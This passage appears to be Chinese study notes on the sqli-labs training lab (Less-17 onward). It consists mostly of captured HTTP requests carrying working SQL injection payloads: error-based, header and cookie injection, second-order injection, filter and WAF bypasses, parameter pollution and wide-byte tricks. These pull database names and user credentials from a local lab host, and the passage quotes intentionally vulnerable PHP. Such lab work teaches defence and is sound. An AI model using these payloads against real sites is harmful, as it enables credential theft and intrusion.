Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 238
Origin: http://192.168.50.2:8888
Connection: close
Referer: http://192.168.50.2:8888/Less-17/
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

uname=admin&passwd=%27+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,user(),0x7e)))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23&submit=Submit

POST /Less-17/ HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 242
Origin: http://192.168.50.2:8888
Connection: close
Referer: http://192.168.50.2:8888/Less-17/
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

uname=admin&passwd=%27+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,database(),0x7e)))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23&submit=Submit

// select * FROM information_schema.schemata LIMIT 0,1中：LIMIT 0,1 中数字 0 依次递增1，直到不显示为止。
POST /Less-17/ HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 295
Origin: http://192.168.50.2:8888
Connection: close
Referer: http://192.168.50.2:8888/Less-17/
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

uname=admin&passwd=%27+and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+concat(0x7e,schema_name,0x7e)+FROM+information_schema.schemata+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23&submit=Submit

// 查询第二个数据库名称
uname=admin&passwd=%27+and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+concat(0x7e,schema_name,0x7e)+FROM+information_schema.schemata+LIMIT+1,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23&submit=Submit

// select * FROM information_schema.tables where table_schema=database() LIMIT 0,1中：LIMIT 0,1 中数字 0 依次递增1，直到不显示为止。
POST /Less-17/ HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 324
Origin: http://192.168.50.2:8888
Connection: close
Referer: http://192.168.50.2:8888/Less-17/
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

uname=admin&passwd=%27+and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+concat(0x7e,table_name,0x7e)+FROM+information_schema.tables+where+table_schema%3ddatabase()+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23&submit=Submit

// 查询第二个表名称
uname=admin&passwd=%27+and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+concat(0x7e,table_name,0x7e)+FROM+information_schema.tables+where+table_schema%3ddatabase()+LIMIT+1,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23&submit=Submit

// select * FROM information_schema.columns where table_name='users' LIMIT 0,1中：LIMIT 0,1 中数字 0 依次递增1，直到不显示为止。
POST /Less-17/ HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 321
Origin: http://192.168.50.2:8888
Connection: close
Referer: http://192.168.50.2:8888/Less-17/
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

uname=admin&passwd=%27+and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+concat(0x7e,column_name,0x7e)+FROM+information_schema.columns+where+table_name%3d'users'+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23&submit=Submit

// 查询第二个表字段名称
uname=admin&passwd=%27+and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+concat(0x7e,column_name,0x7e)+FROM+information_schema.columns+where+table_name%3d'users'+LIMIT+0,1))+from+information_schema.tables+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23&submit=Submit

// select * FROM information_schema.columns where table_name='users' LIMIT 0,1中：LIMIT 0,1 中数字 0 依次递增1，直到不显示为止。
POST /Less-17/ HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 284
Origin: http://192.168.50.2:8888
Connection: close
Referer: http://192.168.50.2:8888/Less-17/
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

uname=admin&passwd=%27+and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+concat(0x23,username,0x3a,password,0x23)+FROM+users+limit+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23&submit=Submit

// 查询第二个表数据
uname=admin&passwd=%27+and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+concat(0x23,username,0x3a,password,0x23)+FROM+users+limit+1,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23&submit=Submit

5 Mysql头注入

5.1 报错头注入：Less-18

源码：需要认证成功后才会显示User-Agent内容

// 对 uname 和 passwd 进行了 check_input()函数的处理，所以我们在输入 uname 和passwd 上进行注入是不行的

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-18 Header Injection- Error Based- string</title>
</head>

<body bgcolor="#000000">

<div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br></div>
<div  align="center" style="margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;">
<div style="padding-top:10px; font-size:15px;">
 

<!--Form to post the contents -->
<form action="" name="form1" method="post">

  <div style="margin-top:15px; height:30px;">Username : &nbsp;&nbsp;&nbsp;
    <input type="text"  name="uname" value=""/>  </div>
  
  <div> Password : &nbsp; &nbsp;
    <input type="text" name="passwd" value=""/></div></br>
    <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>
</form>
</div>
</div>
<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
<font size="3" color="#FFFF00">



<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
	
function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,20);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}



	$uagent = $_SERVER['HTTP_USER_AGENT'];
	$IP = $_SERVER['REMOTE_ADDR'];
	echo "<br>";
	echo 'Your IP ADDRESS is: ' .$IP;
	echo "<br>";
	//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

	{
	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);
	
	/*
	echo 'Your Your User name:'. $uname;
	echo "<br>";
	echo 'Your Password:'. $passwd;
	echo "<br>";
	echo 'Your User Agent String:'. $uagent;
	echo "<br>";
	echo 'Your User Agent String:'. $IP;
	*/

	//logging the connection parameters to a file for analysis.	
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Agent:'.$uname."\n");
	
	fclose($fp);
	
	
	
	$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
			echo '<font color= "#FFFF00" font size = 3 >';
			$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
			mysql_query($insert);
			//echo 'Your IP ADDRESS is: ' .$IP;
			echo "</font>";
			//echo "<br>";
			echo '<font color= "#0000ff" font size = 3 >';			
			echo 'Your User Agent is: ' .$uagent;
			echo "</font>";
			echo "<br>";
			print_r(mysql_error());			
			echo "<br><br>";
			echo '<img src="../images/flag.jpg"  />';
			echo "<br>";
			
			}
		else
			{
			echo '<font color= "#0000ff" font size="3">';
			//echo "Try again looser";
			print_r(mysql_error());
			echo "</br>";			
			echo "</br>";
			echo '<img src="../images/slap.jpg"   />';	
			echo "</font>";  
			}

	}

?>


</font>
</div>
</body>
</html>

5.1.1 User-Agent头利用 `ExtractValue` 报错

注：ExtractValue 有长度限制，最长32位

查询数据库名称：and extractvalue(1, concat(0x7e, (select database()),0x7e))

POST /Less-18/ HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: ' and extractvalue(1, concat(0x7e, (select database()),0x7e)) and '1'='1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://192.168.50.2:8888
Connection: close
Referer: http://192.168.50.2:8888/Less-18/
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

uname=admin&passwd=0&submit=Submit

遍历数据库名称：and extractvalue(1, concat(0x7e,(SELECT schema_name FROM information_schema.schemata limit 0,1),0x7e))

POST /Less-18/ HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: ' and extractvalue(1, concat(0x7e,(SELECT schema_name FROM information_schema.schemata limit 0,1),0x7e)) and '1'='1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://192.168.50.2:8888
Connection: close
Referer: http://192.168.50.2:8888/Less-18/
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

uname=admin&passwd=0&submit=Submit

查看表名字：and extractvalue(1, concat(0x7e,(SELECT table_name FROM information_schema.tables where table_schema=database() limit 0,1),0x7e))

POST /Less-18/ HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: ' and extractvalue(1, concat(0x7e,(SELECT table_name FROM information_schema.tables where table_schema=database() limit 0,1),0x7e)) and '1'='1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://192.168.50.2:8888
Connection: close
Referer: http://192.168.50.2:8888/Less-18/
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

uname=admin&passwd=0&submit=Submit

查询表字段：and extractvalue(1, concat(0x7e,(SELECT column_name FROM information_schema.columns where table_name="users" limit 0,1),0x7e))

POST /Less-18/ HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: ' and extractvalue(1, concat(0x7e,(SELECT column_name FROM information_schema.columns where table_name="users" limit 0,1),0x7e)) and '1'='1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://192.168.50.2:8888
Connection: close
Referer: http://192.168.50.2:8888/Less-18/
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

uname=admin&passwd=0&submit=Submit

查询表数据：and extractvalue(1, concat(0x7e,(select distinct concat(username,0x3a,password) from users limit 0,1)))

POST /Less-18/ HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: ' and extractvalue(1, concat(0x7e,(select distinct concat(username,0x3a,password) from users limit 0,1))) and '1'='1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://192.168.50.2:8888
Connection: close
Referer: http://192.168.50.2:8888/Less-18/
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

uname=admin&passwd=0&submit=Submit

5.1.2 Referer头利用 `UpdateXml` 报错：Less-19

原理：

updatexml() 函数与 extractvalue() 类似，是更新 xml 文档的函数。
UpdateXml 有长度限制，最长32位
updatexml(目标xml文档，xml路径，更新的内容)

查询当前数据库名称：and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

POST /Less-19/ HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://192.168.50.2:8888
Connection: close
Referer: ' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) and '1'='1
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

uname=admin&passwd=0&submit=Submit

遍历查询数据库名称：and updatexml(1,concat(0x7e,(SELECT schema_name from information_schema.schemata limit 0,1),0x7e),1)

// SELECT schema_name from information_schema.schemata limit 0,1中：LIMIT 0,1 中数字 0 依次递增1，直到不显示为止。
POST /Less-19/ HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://192.168.50.2:8888
Connection: close
Referer: ' and updatexml(1,concat(0x7e,(SELECT schema_name from information_schema.schemata limit 0,1),0x7e),1) and '1'='1
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

uname=admin&passwd=0&submit=Submit

遍历查询表名称：and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)

// SELECT table_name from information_schema.tables where table_schema=database() limit 0,1中：LIMIT 0,1 中数字 0 依次递增1，直到不显示为止。
POST /Less-19/ HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://192.168.50.2:8888
Connection: close
Referer: ' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and '1'='1
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

uname=admin&passwd=0&submit=Submit

遍历查询表字段：and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name="users" limit 0,1),0x7e),1)

// SELECT column_name from information_schema.columns where table_name="users" limit 0,1中：LIMIT 0,1 中数字 0 依次递增1，直到不显示为止。
POST /Less-19/ HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://192.168.50.2:8888
Connection: close
Referer: ' and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name="users" limit 0,1),0x7e),1) and '1'='1
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

uname=admin&passwd=0&submit=Submit

遍历查询表数据：and updatexml(1,concat(0x7e,(SELECT concat_ws(char(32,58,32),username,password) from users limit 0,1),0x7e),1)

// SELECT concat_ws(char(32,58,32),username,password) from users limit 0,1中：LIMIT 0,1 中数字 0 依次递增1，直到不显示为止。
POST /Less-19/ HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://192.168.50.2:8888
Connection: close
Referer: ' and updatexml(1,concat(0x7e,(SELECT concat_ws(char(32,58,32),username,password) from users limit 0,1),0x7e),1) and '1'='1
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

uname=admin&passwd=0&submit=Submit

5.1.3 Cookie头利用 `ExtractValue` 报错：

5.1.3.1 Less-20

GET /Less-20/index.php HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.50.2:8888/Less-20/
Connection: close
Cookie: uname=' and extractvalue(1, concat(0x7e, (select database()),0x7e))#
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

5.1.3.2 Less-21

') and extractvalue(1, concat(0x7e, (select database()),0x7e))#
// 得到Base64编码后的Payload
JykgYW5kIGV4dHJhY3R2YWx1ZSgxLCBjb25jYXQoMHg3ZSwgKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSkj

GET /Less-21/index.php HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.50.2:8888/Less-21/
Connection: close
Cookie: uname=JykgYW5kIGV4dHJhY3R2YWx1ZSgxLCBjb25jYXQoMHg3ZSwgKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSkj
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

5.1.3.3 Less-22

" and extractvalue(1, concat(0x7e, (select database()),0x7e))#
// 得到Base64编码后的Payload
IiBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpKSM%3d

GET /Less-22/index.php HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.50.2:8888/Less-22/
Connection: close
Cookie: uname=IiBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpKSM%3d
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

6 存在过滤的注入

6.1 注释符号过滤注入：Less-23

源码：

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

实例：

http://192.168.50.2:8888/Less-23/?id=%27%20union%20select%201,@@datadir,%273
http://192.168.50.2:8888/Less-23/?id=' or extractvalue(1,concat(0x7e,database())) or '1'='1

6.2 二次排序注入：Less-24

二次排序注入也称为存储型注入，先将可能导致sql 注入的字符先存入到数据库中，当再次查询调用这个恶意构造的字符时，就可以出发sql 注入。

原理：

先注册一个 admin’#的账号，再登录该帐号后进行修改密码，而此时修改的就是 admin 的密码。
Sql 语句变为 UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password=' ，也就是执行了 UPDATE users SET passwd="New_Pass" WHERE username ='admin'

初始数据库中的数据如下：

mysql> select * from users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | 0        |
|  2 | Angelina | 0        |
|  3 | Dummy    | 0        |
|  4 | secure   | 0        |
|  5 | stupid   | 0        |
|  6 | superman | 0        |
|  7 | batman   | 0        |
|  8 | admin    | 0        |
|  9 | admin1   | 0        |
| 10 | admin2   | 0        |
| 11 | admin3   | 0        |
| 12 | dhakkan  | 0        |
| 14 | admin4   | 0        |
+----+----------+----------+

注册账户为： admin’#，密码为：123123

查看创建账户 admin’#后，users表中的数据：

mysql> select * from users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | 0        |
|  2 | Angelina | 0        |
|  3 | Dummy    | 0        |
|  4 | secure   | 0        |
|  5 | stupid   | 0        |
|  6 | superman | 0        |
|  7 | batman   | 0        |
|  8 | admin    | 0        |
|  9 | admin1   | 0        |
| 10 | admin2   | 0        |
| 11 | admin3   | 0        |
| 12 | dhakkan  | 0        |
| 14 | admin4   | 0        |
| 15 | admin'#  | 123123   |
+----+----------+----------+
14 rows in set (0.00 sec)

修改账户 admin’#密码为123：

修改账户 admin’#密码后，users表中的数据：

mysql> select * from users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | 0        |
|  2 | Angelina | 0        |
|  3 | Dummy    | 0        |
|  4 | secure   | 0        |
|  5 | stupid   | 0        |
|  6 | superman | 0        |
|  7 | batman   | 0        |
|  8 | admin    | 111      |
|  9 | admin1   | 0        |
| 10 | admin2   | 0        |
| 11 | admin3   | 0        |
| 12 | dhakkan  | 0        |
| 14 | admin4   | 0        |
| 15 | admin'#  | 123123   |
+----+----------+----------+
14 rows in set (0.00 sec)

6.3 过滤`or、and`注入：Less-25

// 使用oorr或anandd绕过过滤
http://192.168.50.2:8888/Less-25/?id=%27union%20select%201,2,group_concat(schema_name)%20from%20infoorrmation_schema.schemata%23

// Less-25a
http://192.168.50.2:8888/Less-25a/?id=-1%20union%20select%201,2,group_concat(schema_name)%20from%20infoorrmation_schema.schemata%23

6.4 过滤`空格，or，and,/*,#,--,/`等各种符号：Less-26

对于注释和结尾字符，我们此处只能利用构造一个 '来闭合后面到 ' ；

对于空格，有较多的方法：

%09 TAB键（水平）
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB键（垂直）
%a0 空格

'%0B||%0Bextractvalue(1,concat(0x7e,(select%0Bgroup_concat(schema_name)%0Bfrom%0Binfoorrmation_schema.schemata)))%0B||%0B'1'='1

http://192.168.50.2:8888/Less-26/?id=%27%0b||%0bextractvalue(1,concat(0x7e,(select%0bgroup_concat(schema_name)%0bfrom%0binfoorrmation_schema.schemata)))%0b||%0b%271%27=%271

// Less-26a
1%27)%a0anandd%a0if(LENGTH(database())=8,sleep(3),0)||(%27
http://192.168.50.2:8888/Less-26a/?id=1%27)%a0anandd%a0if(LENGTH(database())=8,sleep(3),0)||(%27

6.5 过滤`union select`注入：Less-27、Less-28

// 使用大小写绕过
http://192.168.50.2:8888/Less-27/?id=%27%a0unIon%a0SelEct%a01,user(),3||%271

// Less-27a
http://192.168.50.2:8888/Less-27a/?id=%22%a0unIon%a0SelEct%a01,user(),3||%221

// Less-28
http://192.168.50.2:8888/Less-28/?id=1%27)%a0or%a0(%27
http://192.168.50.2:8888/Less-28/?id=%27)%a0unIon%a0SelEct%a01,user(),3%a0or%a0(%27

// Less-28a
http://192.168.50.2:8888/Less-28a/?id=%27)%a0unIon%a0SelEct%a01,user(),3%a0||(%27

7 双层服务器架构注入

在我们实际应用中，也是有两层服务器的情况，这么做的原因是在 tomcat 服务器处做数据过滤和处理，功能类似为一个 WAF。而正因为解析参数的不同，我们此处可以利用该原理绕过 WAF 的检测。该用法就是 HPP（HTTP Parameter Pollution），HTTP 参数污染攻击的一个应用。HPP 可对服务器和客户端都能够造成一定的威胁。

7.1 服务器解析参数顺序

7.1.1 验证思考

http://192.168.50.2:8888/Less-29/?id=1&id=2
// 显示的是id=2的内容。

7.1.2 Web服务器解析参数的顺序

解析：因为apache（php）解析最后一个参数，即显示id=2 的内容。Tomcat（jsp）解析第一个参数，即显示 id=1 的内容。而最终返回数据时，是返回apache的数据，因此得到id=2的内容。

7.2 双层服务器环境测试实例：Less-29-31

http://192.168.50.2:8888/Less-29/?id=1&id=%27%20union%20select%201,@@basedir,3%23

http://192.168.50.2:8888/Less-30/?id=1&id=%22%20union%20select%201,@@basedir,3%23

http://192.168.50.2:8888/Less-31/?id=1&id=%22)%20union%20select%201,@@basedir,3%23

8 宽字节注入

8.1 宽字节注入原理

Mysql 在使用 GBK 编码的时候，会认为两个字符为一个汉字，例如%aa%5c 就是一个汉字（前一个 ascii 码大于 128 才能到汉字的范围）。过滤 '常利用的思路是将 '转换为 \'。因此在遇到此类注入时，要想办法将 '前面添加的 \除掉，一般有两种思路：

利用%df 吃掉 \ ：原因是 urlencode("'") = %5c%27，在%5c%27前面添加%df，形成%df%5c%27，而上面提到的 Mysql 在GBK 编码方式的时候会将两个字节当做一个汉字，此事%df%5c 就是一个汉字運，%27 则作为一个单独的符号在外面，同时也就达到了我们的目的。
为了避免宽字节注入，很多人使用iconv函数（能够完成各种字符集间的转换text=iconv("UTF−8","GBK",text);），其实这样做是有很大风险的，仍旧可以造成宽字节注入：可以使用逆向思维，已知gbk的汉字錦的utf-8编码是0xe98ca6，gbk编码是0xe55c,因此当传入的值是錦'，'通过addslashes转义为'(%5c%27),錦通过icov转换为%e5%5c，最终变为了%e5%5c%5c%27,``%5c%5c正好把反斜杠转义，使单引号逃逸，造成注入。可在POST请求中利用。

8.2 宽字节注入实例

源码:

function check_addslashes($string)
{
    $string= addslashes($string); 
    return $string;
}

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
- 预定义字符是：'（单引号）、"（双引号）、\（反斜杠）

注：使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式，才能防御此漏洞。

Mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);

